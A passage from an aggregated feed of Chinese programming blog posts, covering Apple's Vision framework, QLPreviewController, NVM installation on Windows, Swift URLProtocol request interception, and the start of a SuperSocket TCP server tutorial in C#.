        imageView.addSubview(boxView)
    }


import Vision
import UIKit

func recognizeText(in image: UIImage) {
    guard let ciImage = CIImage(image: image) else {
        print("Failed to create CIImage from UIImage")
        return
    }
    
    // 创建文本识别请求
    let request = VNRecognizeTextRequest { request, error in
        if let error = error {
            print("Error during text recognition: \(error.localizedDescription)")
            return
        }
        
        // 获取识别结果
        guard let results = request.results as? [VNRecognizedTextObservation] else {
            print("No text found")
            return
        }
        
        // 输出识别到的文本
        for observation in results {
            self.handleTextRecognitionResult(observation)
        }
    }
    
    // 设置识别级别
    request.recognitionLevel = .accurate
    
    // 可选:设置最小文本高度
    request.minimumTextHeight = 0.1
    
    // 执行请求
    let handler = VNImageRequestHandler(ciImage: ciImage, options: [:])
    do {
        try handler.perform([request])
    } catch {
        print("Failed to perform text recognition request: \(error.localizedDescription)")
    }
}

// 处理识别结果
func handleTextRecognitionResult(_ observation: VNRecognizedTextObservation) {
    // 获取识别到的文本
    let topCandidate = observation.topCandidates(1).first
    if let recognizedText = topCandidate?.string {
        print("Recognized text: \(recognizedText)")
    }
}

代码解释: VNRecognizeTextRequest:用于识别图像中的文本内容。你传入一个回调函数,当识别完成时回调。 recognitionLevel:可以选择快速或精确的文本识别。 VNRecognizedTextObservation:返回每个文本块的识别信息,其中包含识别到的文本内容。 topCandidates(_:)VNRecognizedTextObservation 提供的方法,返回多个候选文本中的最佳文本(按置信度排序)。

#3. 总结

VNRecognizeAnimalsRequest

主要功能:用于识别图像中的动物。 常用属性和方法: recognitionLevel:设置识别级别(fastaccurate)。 results:返回一个 VNRecognizedObjectObservation 数组,包含识别到的动物。

VNRecognizeTextRequest

主要功能:用于识别图像中的文本。 常用属性和方法: recognitionLevel:设置识别级别(fastaccurate)。 minimumTextHeight:设置最小文本高度。 customWords:设置自定义词汇,优化识别结果。 results:返回一个 VNRecognizedTextObservation 数组,包含识别到的文本。

by 山水域 at January 24, 2025 08:10 AM

Vision 框架基础使用

Vision 框架是 Apple 提供的一个强大的图像分析框架,用于处理和分析图片或视频内容,主要用于计算机视觉任务,如面部识别、条形码扫描、文本识别、物体检测等。它是 iOS 和 macOS 应用程序中进行视觉处理和图像分析的首选工具,支持各种高效的图像识别操作。

1. Vision 框架概述

Vision 框架可以识别图像中的面部、条形码、文本、物体、场景等,并且可以在图片中标记出这些对象的位置。它与 Core ML 紧密集成,使得机器学习模型也能在图像处理中得到应用。

2. Vision 框架的基本概念

Vision 框架的核心功能通常依赖于几个重要的类和对象:

VNRequest:表示一个视觉请求。请求通常是你希望框架执行的某种类型的任务(例如面部检测、条形码扫描等)。 VNSequenceRequestHandlerVNImageRequestHandler:用于执行和处理请求。VNSequenceRequestHandler 用于视频帧的处理,而 VNImageRequestHandler 用于静态图像。 VNObservation:表示框架处理图像后返回的结果。它们可以是图像中检测到的面部、文本或物体。

3. 常用 Vision 功能详解

3.1 人脸检测

使用 VNFaceObservation 类,Vision 可以对图片中的人脸进行检测并返回相应的位置。

示例代码:人脸检测


import Vision
import UIKit

func detectFaces(in image: UIImage) {
    // 将 UIImage 转换为 CIImage
    guard let ciImage = CIImage(image: image) else {
        print("Failed to convert UIImage to CIImage")
        return
    }

    // 创建人脸检测请求
    let faceDetectionRequest = VNDetectFaceRectanglesRequest(completionHandler: handleFaces)

    // 创建图像请求处理器
    let requestHandler = VNImageRequestHandler(ciImage: ciImage, options: [:])

    // 执行请求
    do {
        try requestHandler.perform([faceDetectionRequest])
    } catch {
        print("Failed to perform face detection request: \(error)")
    }
}

// 处理人脸检测的回调
func handleFaces(request: VNRequest, error: Error?) {
    guard let results = request.results as? [VNFaceObservation] else {
        print("No faces detected")
        return
    }

    for face in results {
        // 打印每个检测到的面部区域
        print("Face found at: \(face.boundingBox)")
    }
}


##3.2 条形码扫描 Vision 框架支持多种类型的条形码识别,包括 QR 码、UPC、EAN 等。使用 VNBarcodeObservation 可以提取条形码的数据。

示例代码:条形码扫描



import Vision
import UIKit

func detectBarcodes(in image: UIImage) {
    guard let ciImage = CIImage(image: image) else {
        print("Failed to convert UIImage to CIImage")
        return
    }

    // 创建条形码识别请求
    let barcodeRequest = VNDetectBarcodesRequest(completionHandler: handleBarcodes)

    // 创建图像请求处理器
    let requestHandler = VNImageRequestHandler(ciImage: ciImage, options: [:])

    // 执行请求
    do {
        try requestHandler.perform([barcodeRequest])
    } catch {
        print("Failed to perform barcode detection request: \(error)")
    }
}

// 处理条形码的回调
func handleBarcodes(request: VNRequest, error: Error?) {
    guard let results = request.results as? [VNBarcodeObservation] else {
        print("No barcodes detected")
        return
    }

    for barcode in results {
        print("Detected barcode: \(barcode.payloadStringValue ?? "Unknown")")
    }
}

3.3 文本识别 (OCR)

VNRecognizeTextRequest 可以用于识别图像中的文本内容。你可以通过 Vision 来进行光学字符识别(OCR)。

示例代码:文本识别


import Vision
import UIKit

func detectText(in image: UIImage) {
    guard let ciImage = CIImage(image: image) else {
        print("Failed to convert UIImage to CIImage")
        return
    }

    // 创建文本识别请求
    let textRecognitionRequest = VNRecognizeTextRequest(completionHandler: handleText)

    // 创建图像请求处理器
    let requestHandler = VNImageRequestHandler(ciImage: ciImage, options: [:])

    // 执行请求
    do {
        try requestHandler.perform([textRecognitionRequest])
    } catch {
        print("Failed to perform text recognition request: \(error)")
    }
}

// 处理文本识别的回调
func handleText(request: VNRequest, error: Error?) {
    guard let results = request.results as? [VNRecognizedTextObservation] else {
        print("No text detected")
        return
    }

    for observation in results {
        // 输出识别到的文本内容
        print("Recognized text: \(observation.topCandidates(1).first?.string ?? "No text")")
    }
}

##3.4 物体检测 物体检测功能通过与 Core ML 模型结合,利用预训练的深度学习模型进行物体检测。VNCoreMLRequest 是处理 Core ML 模型的 Vision 请求。

示例代码:物体检测



import Vision
import CoreML
import UIKit

func detectObjects(in image: UIImage) {
    guard let ciImage = CIImage(image: image) else {
        print("Failed to convert UIImage to CIImage")
        return
    }

    // 加载 Core ML 模型
    guard let model = try? VNCoreMLModel(for: YourMLModel().model) else {
        print("Failed to load ML model")
        return
    }

    // 创建物体检测请求
    let objectDetectionRequest = VNCoreMLRequest(model: model, completionHandler: handleObjects)

    // 创建图像请求处理器
    let requestHandler = VNImageRequestHandler(ciImage: ciImage, options: [:])

    // 执行请求
    do {
        try requestHandler.perform([objectDetectionRequest])
    } catch {
        print("Failed to perform object detection request: \(error)")
    }
}

// 处理物体检测的回调
func handleObjects(request: VNRequest, error: Error?) {
    guard let results = request.results as? [VNClassificationObservation] else {
        print("No objects detected")
        return
    }

    for result in results {
        print("Detected object: \(result.identifier), confidence: \(result.confidence)")
    }
}

by 山水域 at January 24, 2025 08:10 AM

QLPreviewController 全解-PDF文件图片等简单编辑

在 Swift 开发中,打开和编辑 PDF 的系统控制器通常是 QLPreviewController,它是 iOS 提供的一个通用文档预览控制器。通过 QLPreviewController,你可以打开和查看 PDF 文件,甚至是其他类型的文档(如 Word、Excel 等)。

  1. 使用 QLPreviewController 打开 PDF 文件 如果你只是想打开和查看 PDF 文件,可以使用 QLPreviewController 来实现。以下是打开 PDF 的代码示例:

示例代码(使用 QLPreviewController 打开 PDF):

import UIKit
import QuickLook

class ViewController: UIViewController, QLPreviewControllerDataSource, QLPreviewControllerDelegate {

var documentURL: URL?

override func viewDidLoad() {
super.viewDidLoad()

// 设置 PDF 文件路径
if let pdfPath = Bundle.main.path(forResource: "sample", ofType: "pdf") {
documentURL = URL(fileURLWithPath: pdfPath)
}

// 创建并展示 QLPreviewController
let previewController = QLPreviewController()
previewController.dataSource = self
previewController.delegate = self
self.present(previewController, animated: true, completion: nil)
}

// QLPreviewControllerDataSource 方法,返回文档的数量
func numberOfPreviewItems(in controller: QLPreviewController) -> Int {
return 1
}

// 返回文档的 URL
func previewController(_ controller: QLPreviewController, previewItemAt index: Int) -> QLPreviewItem {
return documentURL! as QLPreviewItem
}
}


   func previewControllerWillDismiss(_ controller: QLPreviewController) {
      print("previewControllerWillDismiss")
   }
   func previewControllerDidDismiss(_ controller: QLPreviewController) {
      print("previewControllerDidDismiss")
   }

   func previewController(_ controller: QLPreviewController, editingModeFor previewItem: any QLPreviewItem) -> QLPreviewItemEditingMode {
      return .createCopy
   }
   
   func previewController(_ controller: QLPreviewController, shouldOpen url: URL, for item: any QLPreviewItem) -> Bool {
      return true
   }
   
   func previewController(_ controller: QLPreviewController, didUpdateContentsOf previewItem: any QLPreviewItem) {
      
   }
   
   func previewController(_ controller: QLPreviewController, didSaveEditedCopyOf previewItem: any QLPreviewItem, at modifiedContentsURL: URL) {
      
   }
   

QLPreviewControllerDataSource 协议是 QLPreviewController 用来获取预览内容的数据源协议。它定义了两个方法,允许开发者提供要在预览控制器中显示的项目数量和具体内容。 下面是对该协议的详细解释:

  1. numberOfPreviewItems(in:) 方法描述:该方法返回预览控制器需要展示的项目数量。预览控制器将根据这个数量来显示相应的内容。 参数: controller:当前的 QLPreviewController 实例,通常不需要在实现时使用此参数。 返回值:返回一个整数,表示预览控制器应该显示的项目数量。 可用版本:iOS 4.0 及以上
func numberOfPreviewItems(in controller: QLPreviewController) -> Int {
    return items.count  // 返回预览项的数量
}
  1. previewController(_:previewItemAt:) 方法描述:该方法返回给定索引位置的预览项。返回的预览项必须符合 QLPreviewItem 协议,该协议代表一个可以被预览的对象(如文件、图片等)。 参数: controller:当前的 QLPreviewController 实例,通常不需要在实现时使用此参数。 index:需要返回的预览项的索引。 返回值:返回一个符合 QLPreviewItem 协议的对象,通常是一个包含文件路径、URL 或本地资源的对象。 可用版本:iOS 4.0 及以上
func previewController(_ controller: QLPreviewController, previewItemAt index: Int) -> QLPreviewItem {
    return items[index]  // 返回指定索引位置的预览项
}

QLPreviewItem 协议 QLPreviewItem 协议是所有预览项的基协议,任何需要被 QLPreviewController 预览的对象都需要遵循该协议。 QLPreviewItem 的常见实现类: URL:可以是本地文件的路径或者远程文件的 URL。 文件对象:代表需要预览的本地文件。


以下是 QLPreviewControllerDelegate 协议中各个方法的中文详细说明:

1. previewControllerWillDismiss(_:) 可用版本:iOS 4.0+ 描述:该方法在 QLPreviewController 即将关闭时被调用。您可以在此方法中执行一些清理操作或准备工作。 在 QLPreviewController 关闭之前,可以执行一些必要的操作,例如保存状态或记录事件。

func previewControllerWillDismiss(_ controller: QLPreviewController) {
// 在控制器关闭前进行清理或状态保存
}

  1. previewControllerDidDismiss(_:) 可用版本:iOS 4.0+ 描述:该方法在 QLPreviewController 关闭后被调用。适用于执行关闭后需要进行的后续操作。 可以在此方法中执行 UI 更新、状态恢复或通知其他部分的代码,表明预览已经关闭。
func previewControllerDidDismiss(_ controller: QLPreviewController) {
// 在控制器关闭后执行后续操作
}

  1. previewController(_:shouldOpen:for:) 可用版本:iOS 8.0+ 参数: controller:请求打开 URL 的 QLPreviewController 实例。 url:用户点击的 URLitem:与 URL 关联的 QLPreviewItem。 描述:当用户点击预览中的 URL 时,这个方法会被调用。它允许你决定是否允许 QLPreviewController 打开该 URL。返回 false 可以阻止 QLPreviewController 打开 URL。 如果需要拦截点击事件,并根据 URL 的类型来决定是否打开,可以返回 false 来阻止打开。比如,只允许打开特定的 URL。

func previewController(_ controller: QLPreviewController, shouldOpen url: URL, for item: any QLPreviewItem) -> Bool {
// 拦截 URL,根据需求决定是否打开
if url.scheme == "myapp" {
return false
}
return true
}

  1. previewController(_:frameFor:inSourceView:) 可用版本:iOS 4.0+ 参数: controllerQLPreviewController 实例。 item:正在预览的 QLPreviewItemview:视图指针,表示点击的源视图。 描述:该方法在 QLPreviewController 即将切换到全屏或从全屏模式消失时被调用。它用于提供缩放动画的初始框架。 如果你想自定义缩放效果,可以通过返回一个 CGRect 来指定预览项的初始位置和大小。

func previewController(_ controller: QLPreviewController, frameFor item: any QLPreviewItem, inSourceView view: AutoreleasingUnsafeMutablePointer<UIView?>) -> CGRect {
// 自定义缩放框架
return CGRect(x: 50, y: 50, width: 200, height: 200)
}

  1. previewController(_:transitionImageFor:contentRect:) 可用版本:iOS 4.0+ 参数: controllerQLPreviewController 实例。 item:正在预览的 QLPreviewItemcontentRect:指向矩形的指针,表示图像中的实际内容区域。 描述:该方法在预览控制器切换到全屏或从全屏模式返回时被调用。它允许你提供一张图像,在缩放过程中进行交叉淡入淡出动画,并且你可以指定图像中的内容矩形。 用于提供平滑的图像过渡效果。你可以返回一个缩略图或低分辨率图像,用于在缩放时交叉淡入淡出。
func previewController(_ controller: QLPreviewController, transitionImageFor item: any QLPreviewItem, contentRect: UnsafeMutablePointer<CGRect>) -> UIImage? {
return UIImage(named: "thumbnail_image") // 返回用于缩放过渡的缩略图
}

  1. previewController(_:transitionViewFor:) 可用版本:iOS 10.0+ 描述:该方法在 QLPreviewController 切换到全屏或从全屏模式返回时被调用。它允许你返回一个自定义视图,用于过渡动画。 参数: controllerQLPreviewController 实例。 item:正在预览的 QLPreviewItem

func previewController(_ controller: QLPreviewController, transitionViewFor item: any QLPreviewItem) -> UIView? {
let transitionView = UIView()
transitionView.backgroundColor = UIColor.blue
return transitionView // 自定义过渡视图
}

  1. previewController(_:editingModeFor:) 可用版本:iOS 13.0+ 描述:该方法在预览控制器加载数据时被调用。它允许您指定如何处理编辑版本的预览项,例如是否允许编辑。 参数: controllerQLPreviewController 实例。 previewItem:正在预览的 QLPreviewItem。 返回值: 返回一个表示如何处理编辑版本的 QLPreviewItemEditingMode 枚举值。 如果允许编辑,可以返回 .updateContents 来启用更新,或者返回其他值来指定不同的处理方式。
func previewController(_ controller: QLPreviewController, editingModeFor previewItem: any QLPreviewItem) -> QLPreviewItemEditingMode {
return .updateContents // 允许更新内容
}

  1. previewController(_:didUpdateContentsOf:) 方法描述:此方法会在预览控制器成功更新并覆盖文件内容时被调用,表示用户已经对文件进行了修改并保存了更改。 参数: controller: 当前的 QLPreviewController 实例。 previewItem: 被修改内容的 QLPreviewItem 对象,即正在编辑的文件项。 功能:当用户保存编辑后的文件时,QLPreviewController 会调用此方法。特别地,这可能会多次调用,因为每当用户保存修改时,都会触发该方法。 使用场景:如果用户在 QLPreviewController 中编辑了文件(如文本、文档等),每次保存编辑后,都会调用此方法来通知数据源文件内容已被更新。

@available(iOS 13.0, *)
func previewController(_ controller: QLPreviewController, didUpdateContentsOf previewItem: any QLPreviewItem) {
// 处理文件内容更新的逻辑
print("文件内容已更新:\(previewItem)")
}

  1. previewController(_:didSaveEditedCopyOf:at:) 方法描述:此方法会在用户保存文件的编辑副本时被调用。这个副本是一个临时文件,可能是在编辑过程中生成的,也可能是由于内容未能直接覆盖原始文件而创建的。 参数: controller: 当前的 QLPreviewController 实例。 previewItem: 编辑过的原始文件项。 modifiedContentsURL: 一个指向临时文件的 URL,该文件包含编辑后的内容。 功能:此方法会在用户保存编辑副本时触发,并且返回的是一个指向修改后内容的临时文件的 URL。此方法在以下几种情况下会被调用: 如果 QLPreviewItemEditingModeCreateCopy 模式被使用(即用户创建了文件的副本)。 如果 QLPreviewItemEditingModeUpdateContents 模式被使用,但原始文件无法成功覆盖,此时返回的是临时存储的编辑副本。 如果修改后的文件类型与原始文件类型不匹配(例如,编辑一个 PDF 文件后另存为图片格式),此时返回的副本可能是不同类型的文件。 使用场景:当用户保存修改的副本时,例如文本编辑应用允许用户修改文件并保存编辑副本,或者当修改文件后无法直接覆盖原始文件时,都会调用此方法。

@available(iOS 13.0, *)
func previewController(_ controller: QLPreviewController, didSaveEditedCopyOf previewItem: any QLPreviewItem, at modifiedContentsURL: URL) {
// 处理保存的副本
print("文件的编辑副本已保存:\(modifiedContentsURL)")
}

by 山水域 at January 24, 2025 08:09 AM

juejin freebie

NodeJS 版本管理工具:NVM

NVM(Node Version Manager)是一个用于管理 Node.js 版本的工具,它允许开发者在同一台机器上轻松安装、切换和管理多个版本的 Node.js。对于需要在不同项目中使用不同版本的 Node.js 的开发者来说,NVM 是一个非常有用的工具。

NVM的主要特点:

  1. 版本管理:可以安装并使用多个版本的 Node.js,方便切换。
  2. 简单安装与切换:通过简单的命令,开发者可以在不同版本之间快速切换,避免了手动配置路径的麻烦。
  3. 与项目需求匹配:不同的项目可能需要不同的 Node.js 版本,NVM 可以帮助管理并确保项目所依赖的 Node.js 版本得到满足。
  4. 全局模块管理:每个 Node.js 版本的全局模块是独立的,可以根据不同版本管理不同的全局工具和包。

NVM安装步骤

1.卸载node(没有安装的可以直接跳过)

nvm 是一个 nodejs 的版本管理工具。通过它可以安装和切换不同版本的 nodejs,解决 node 各种版本存在不兼容现象。但在安装之前需要先卸载之前的 nodejs

1)在控制面版或者应用列表中卸载nodejs

2)不行就全局搜索然后删除相关文件

2.安装nvm

下载地址:github.com/coreybutler…

下载到本地后,直接点击安装程序,具体操作如下:

  • 第一步:双击安装程序 image.png

  • 第二步:许可协议

image.png

  • 第三步:选择 nvm 的安装位置

image.png

  • 第四步:选择 node 的安装路径

放在下载 nvm 的目录,并且在同级创建一个 nodejs 的目录。

image.png

  • 第五步:准备安装

image.png

  • 第六步:安装完成

image.png

三、配置 nvm 镜像

这一步是配置下载 node 和 npm 时采用淘宝镜像,默认是从官方镜像下载依赖会比较慢。

进入nvm >> settings.txt 文件,在文件的末尾加上下面两行内容,记得保存:

node_mirror: https://npmmirror.com/mirrors/node/
npm_mirror: https://npmmirror.com/mirrors/npm/

image.png

image.png

四、配置环境变量

返回桌面,右键 此电脑 >> 属性 >> 高级系统设置 >> 环境变量

在我们安装时,环境变量它会自动帮我们在系统中配置好,具体如下:

image.png

image.png

五、使用教程

5.1 常用命令

命令说明
nvm --version查看 nvm 版本
nvm list available查询可在线安装的 node
nvm install <version>下载指定版本的 node
nvm use <version>切换 node 版本
nvm current显示当前 node 版本
nvm ls 或 nvm list查询已安装的 node
nvm uninstall <version>卸载指定版本的 node

5.2 具体案例

以管理员身份打开 CMD。

  • 第一步:查看 nvm 版本
nvm -v

image.png

  • 第二步:查看可在线安装的 node 版本
nvm list available

image.png 或者:nodejs.org/en/about/pr…

  • 第三步:安装 node
nvm install 14.21.3

image.png

  • 第四步:查看已下载 node
nvm ls

image.png

  • 第五步:使用 node
nvm use 14.21.3

image.png

在你安装完 node,并使用后。最开始创建的 nodejs 文件夹就会被标记为 node 的下载路径,通过 nvm 下载的 node 都会存储在这里。 image.png

  • 第六步:查看 node 信息
# 查看 node 版本
node -v
# 查看 npm 版本
npm -v
# 配置 npm 淘宝镜像
npm config set registry https://registry.npmmirror.com
# 查看 npm 镜像源
npm config get registry

image.png

  • 第七步:卸载 node
nvm uninstall 14.21.3

image.png

卸载完后,目前就没有可用的 node 版本。 image.png

by IT橘子皮 at January 24, 2025 07:59 AM

juejin ios

URLProtocol使用全解

在Swift中,URLProtocol是一个用于自定义网络请求处理的类,可以让你拦截和处理URL请求。你可以用它来实现请求的重定向、缓存处理、请求修改等功能。URLProtocol是一个抽象类,你需要继承它并实现一些方法来处理具体的网络请求。

###1. 创建自定义的URLProtocol 首先,创建一个新的Swift类继承自URLProtocol


import Foundation

class CustomURLProtocol: URLProtocol {

    // 判断该请求是否需要处理
    override class func canInit(with request: URLRequest) -> Bool {
        // 你可以在这里判断是否对特定的URL请求进行拦截
        return true
    }

    // 返回一个唯一的标识符,用于标记请求
    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
        return request
    }

    // 处理请求
    override func startLoading() {
        // 你可以在这里处理请求,例如修改请求,或者从缓存中获取响应
        if let url = request.url {
            print("Intercepted URL: \(url)")
        }

        // 创建一个NSURLSession来处理实际的网络请求
        let task = URLSession.shared.dataTask(with: request) { [weak self] data, response, error in
            // 转发响应到客户端
            if let data = data, let response = response {
                self?.client?.urlProtocol(self!, didReceive: response, cacheStoragePolicy: .notAllowed)
                self?.client?.urlProtocol(self!, didLoad: data)
            }
            
            if let error = error {
                self?.client?.urlProtocol(self!, didFailWithError: error)
            }
            
            // 请求完成后告诉系统
            self?.client?.urlProtocolDidFinishLoading(self!)
        }
        task.resume()
    }

    // 取消请求
    override func stopLoading() {
        // 在这里取消网络请求
    }
}

###2. 注册URLProtocol子类 在使用自定义URLProtocol之前,你需要通过URLProtocolregisterClass(_:)方法注册它。通常你会在应用的启动阶段注册它。


 import UIKit

@UIApplicationMain
class AppDelegate: UIResponder, UIApplicationDelegate {

        func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -> Bool {
            // 注册自定义的 URLProtocol
            URLProtocol.registerClass(CustomURLProtocol.self)
            return true
        }
}

###3. 实现网络请求的拦截 在CustomURLProtocol中,startLoading()方法是用来处理请求的核心方法。在这个方法中,你可以对请求进行修改,甚至可以通过自己的逻辑来决定是否发起网络请求,或者从缓存中获取数据。请求的响应会通过client?.urlProtocol(self, didReceive:response, cacheStoragePolicy:)传递给客户端。

###4. 可选功能 ######a. 取消请求 可以在stopLoading()方法中添加逻辑,来处理请求的取消。

######b. 修改请求或响应 你可以在startLoading()中根据需要修改请求,或者对响应进行修改,或者从缓存加载数据。

###5. 使用URLProtocol的场景

  • 请求拦截与重定向:修改请求或响应,例如请求重定向或修改HTTP头部。
  • 自定义网络协议:例如,你可以模拟请求的结果,或者返回本地缓存的数据。
  • 网络日志:用于调试网络请求,记录每个请求和响应。

###6. 例子 #####6.1 拦截特定请求 例如,如果你只想拦截example.com的请求,可以在canInit(with:)方法中进行判断:


override class func canInit(with request: URLRequest) -> Bool {
    if let url = request.url?.host, url == "example.com" {
        return true
    }
    return false
}

#####6.2 拦截特定的请求并修改响应


import Foundation

class CustomURLProtocol: URLProtocol {

    // 判断是否需要处理请求,这里我们只拦截到example.com的请求
    override class func canInit(with request: URLRequest) -> Bool {
        if let host = request.url?.host, host == "example.com" {
            return true
        }
        return false
    }

    // 请求的标准化处理,返回原始请求
    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
        return request
    }

    // 处理请求
    override func startLoading() {
        if let url = request.url {
            print("Intercepted URL: \(url)")
        }

        // 模拟返回的数据
        let simulatedResponse = HTTPURLResponse(
            url: request.url!,
            statusCode: 200,
            httpVersion: "HTTP/1.1",
            headerFields: nil
        )
        let simulatedData = "This is a modified response.".data(using: .utf8)!
        
        // 发送自定义的响应
        self.client?.urlProtocol(self, didReceive: simulatedResponse!, cacheStoragePolicy: .notAllowed)
        self.client?.urlProtocol(self, didLoad: simulatedData)
        self.client?.urlProtocolDidFinishLoading(self)
    }

    // 停止加载
    override func stopLoading() {
        // 在这里可以取消请求,或者处理一些清理工作
    }
}

#####6.3 模拟网络请求失败 在某些情况下,你可能需要模拟网络请求失败的情况,比如模拟网络错误或者返回404响应。


import Foundation

class CustomURLProtocol: URLProtocol {

    // 判断是否需要处理请求,这里我们拦截所有请求
    override class func canInit(with request: URLRequest) -> Bool {
        return true
    }

    // 请求的标准化处理,返回原始请求
    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
        return request
    }

    // 处理请求
    override func startLoading() {
        if let url = request.url {
            print("Intercepted URL: \(url)")
        }

        // 模拟网络错误 (404 Not Found)
        let errorResponse = HTTPURLResponse(
            url: request.url!,
            statusCode: 404,
            httpVersion: "HTTP/1.1",
            headerFields: nil
        )
        let simulatedError = NSError(domain: "com.example.error", code: 404, userInfo: nil)

        // 发送错误响应
        self.client?.urlProtocol(self, didReceive: errorResponse!, cacheStoragePolicy: .notAllowed)
        self.client?.urlProtocol(self, didFailWithError: simulatedError)
        self.client?.urlProtocolDidFinishLoading(self)
    }

    // 停止加载
    override func stopLoading() {
        // 在这里可以取消请求,或者处理一些清理工作
    }
}

#####6.3 请求缓存处理 此示例展示了如何使用 URLProtocol 自定义缓存行为。如果你想拦截请求并返回缓存中的数据(如果有的话),可以使用这种方法。


import Foundation

class CacheURLProtocol: URLProtocol {

    // 判断是否需要处理请求,这里我们拦截所有请求
    override class func canInit(with request: URLRequest) -> Bool {
        return true
    }

    // 请求的标准化处理,返回原始请求
    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
        return request
    }

    // 处理请求
    override func startLoading() {
        if let url = request.url {
            print("Intercepted URL: \(url)")
        }

        // 查找缓存中是否有数据
        if let cachedData = getCache(for: request.url!) {
            // 如果缓存存在,返回缓存数据
            let cachedResponse = HTTPURLResponse(
                url: request.url!,
                statusCode: 200,
                httpVersion: "HTTP/1.1",
                headerFields: nil
            )
            self.client?.urlProtocol(self, didReceive: cachedResponse!, cacheStoragePolicy: .allowed)
            self.client?.urlProtocol(self, didLoad: cachedData)
            self.client?.urlProtocolDidFinishLoading(self)
        } else {
            // 如果缓存不存在,执行正常的网络请求
            let task = URLSession.shared.dataTask(with: request) { [weak self] data, response, error in
                if let data = data, let response = response {
                    // 缓存响应
                    self?.cacheResponse(data: data, for: self!.request.url!)
                    // 返回正常响应
                    self?.client?.urlProtocol(self!, didReceive: response, cacheStoragePolicy: .allowed)
                    self?.client?.urlProtocol(self!, didLoad: data)
                    self?.client?.urlProtocolDidFinishLoading(self!)
                }
                
                if let error = error {
                    self?.client?.urlProtocol(self!, didFailWithError: error)
                }
            }
            task.resume()
        }
    }

    // 停止加载
    override func stopLoading() {
        // 在这里可以取消请求,或者处理一些清理工作
    }
    
    // 获取缓存数据
    private func getCache(for url: URL) -> Data? {
        // 在这里实现缓存数据的获取逻辑
        return nil
    }
    
    // 缓存响应数据
    private func cacheResponse(data: Data, for url: URL) {
        // 在这里实现缓存数据的保存逻辑
    }
}

#####6.4 请求重定向 有时你需要根据某些条件将请求重定向到另一个URL。你可以在startLoading()中修改请求的URL来实现这一功能。


import Foundation

class RedirectURLProtocol: URLProtocol {

    // 判断是否需要处理请求
    override class func canInit(with request: URLRequest) -> Bool {
        return true
    }

    // 请求的标准化处理,返回原始请求
    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
        return request
    }

    // 处理请求
    override func startLoading() {
        if let url = request.url {
            print("Intercepted URL: \(url)")
        }

        // 判断某个特定条件,然后进行请求重定向
        if request.url?.host == "example.com" {
            // 创建一个重定向到新URL的请求
            let redirectURL = URLRequest(url: URL(string: "https://www.newexample.com")!)
            
            // 重定向
            self.client?.urlProtocol(self, didReceive: HTTPURLResponse(url: request.url!, statusCode: 301, httpVersion: "HTTP/1.1", headerFields: nil)!, cacheStoragePolicy: .notAllowed)
            self.client?.urlProtocol(self, didRedirectTo: redirectURL)
        } else {
            // 如果没有满足重定向条件,继续执行实际的请求
            let task = URLSession.shared.dataTask(with: request) { [weak self] data, response, error in
                if let data = data, let response = response {
                    self?.client?.urlProtocol(self!, didReceive: response, cacheStoragePolicy: .notAllowed)
                    self?.client?.urlProtocol(self!, didLoad: data)
                    self?.client?.urlProtocolDidFinishLoading(self!)
                }
                
                if let error = error {
                    self?.client?.urlProtocol(self!, didFailWithError: error)
                }
            }
            task.resume()
        }
    }

    // 停止加载
    override func stopLoading() {
        // 在这里可以取消请求,或者处理一些清理工作
    }
}

#####6.5 模拟身份验证 在某些情况下,你可能需要模拟身份验证。比如,拦截某个请求并返回一个包含身份验证的响应。


import Foundation

class AuthURLProtocol: URLProtocol {

    // 判断是否需要处理请求
    override class func canInit(with request: URLRequest) -> Bool {
        return true
    }

    // 请求的标准化处理,返回原始请求
    override class func canonicalRequest(for request: URLRequest) -> URLRequest {
        return request
    }

    // 处理请求
    override func startLoading() {
        if let url = request.url {
            print("Intercepted URL: \(url)")
        }

        // 判断是否需要身份验证
        if let host = request.url?.host, host == "protected.com" {
            let authResponse = HTTPURLResponse(
                url: request.url!,
                statusCode: 401,
                httpVersion: "HTTP/1.1",
                headerFields: ["WWW-Authenticate": "Basic realm=\"User Visible Realm\""]
            )
            
            // 返回401状态码和认证头
            self.client?.urlProtocol(self, didReceive: authResponse!, cacheStoragePolicy: .notAllowed)
            self.client?.urlProtocolDidFinishLoading(self)
        } else {
            // 正常网络请求
            let task = URLSession.shared.dataTask(with: request) { [weak self] data, response, error in
                if let data = data, let response = response {
                    self?.client?.urlProtocol(self!, didReceive: response, cacheStoragePolicy: .notAllowed)
                    self?.client?.urlProtocol(self!, didLoad: data)
                    self?.client?.urlProtocolDidFinishLoading(self!)
                }
                
                if let error = error {
                    self?.client?.urlProtocol(self!, didFailWithError: error)
                }
            }
            task.resume()
        }
    }

    // 停止加载
    override func stopLoading() {
        // 在这里可以取消请求,或者处理一些清理工作
    }
}


###8. 总结 URLProtocol是一个非常强大的工具,它允许你拦截和定制网络请求的处理方式。通过实现canInit(with:)startLoading()等方法,你可以轻松地实现请求的修改、重定向、缓存等功能。需要注意的是,URLProtocol在整个应用程序中是全局注册的,所以需要小心管理注册的状态,避免冲突。

by 山水域 at January 24, 2025 07:51 AM

juejin backend

.NET 中 TCP、Socket与SuperSocket的超详细入门教程

前言

本文主要介绍TCP、Sokcket和SuperSocket的基础使用。

创建实例模式的SuperSocket服务

首先创建控制台项目,然后Nuget添加引用SuperSocket.Engine。

然后编写服务代码,SuperSocket的服务代码主要是配置AppServer对象,因为AppServer已经很好的封装端口监听了。

代码如下所示:

class Program
{
     static AppServer appServer { get; set; }
     static void Main(string[] args)
     {
         var serverConfig = new SuperSocket.SocketBase.Config.ServerConfig();
         serverConfig.Port = 5180;
         serverConfig.TextEncoding = "gb2312";
         serverConfig.MaxConnectionNumber = 1000;
         appServer = new AppServer();
         //配置
         if (!appServer.Setup(serverConfig)) 
         {
             Console.WriteLine("配置失败!");
             return;
         }
         //启动
         if (!appServer.Start())
         {
             Console.WriteLine("启动失败!");
             return;
         }
         Console.WriteLine("启动成功,按Q退出!");
         appServer.NewSessionConnected += new SessionHandler<AppSession>(appServer_NewSessionConnected);
         appServer.SessionClosed += appServer_NewSessionClosed;
         appServer.NewRequestReceived += new RequestHandler<AppSession, StringRequestInfo>(appServer_NewRequestReceived);
         while (Console.ReadKey().KeyChar != 'q')
         {
             continue;
         }
         //停止
         appServer.Stop();
         Console.WriteLine("服务已停止");
         Console.ReadKey();
     } 
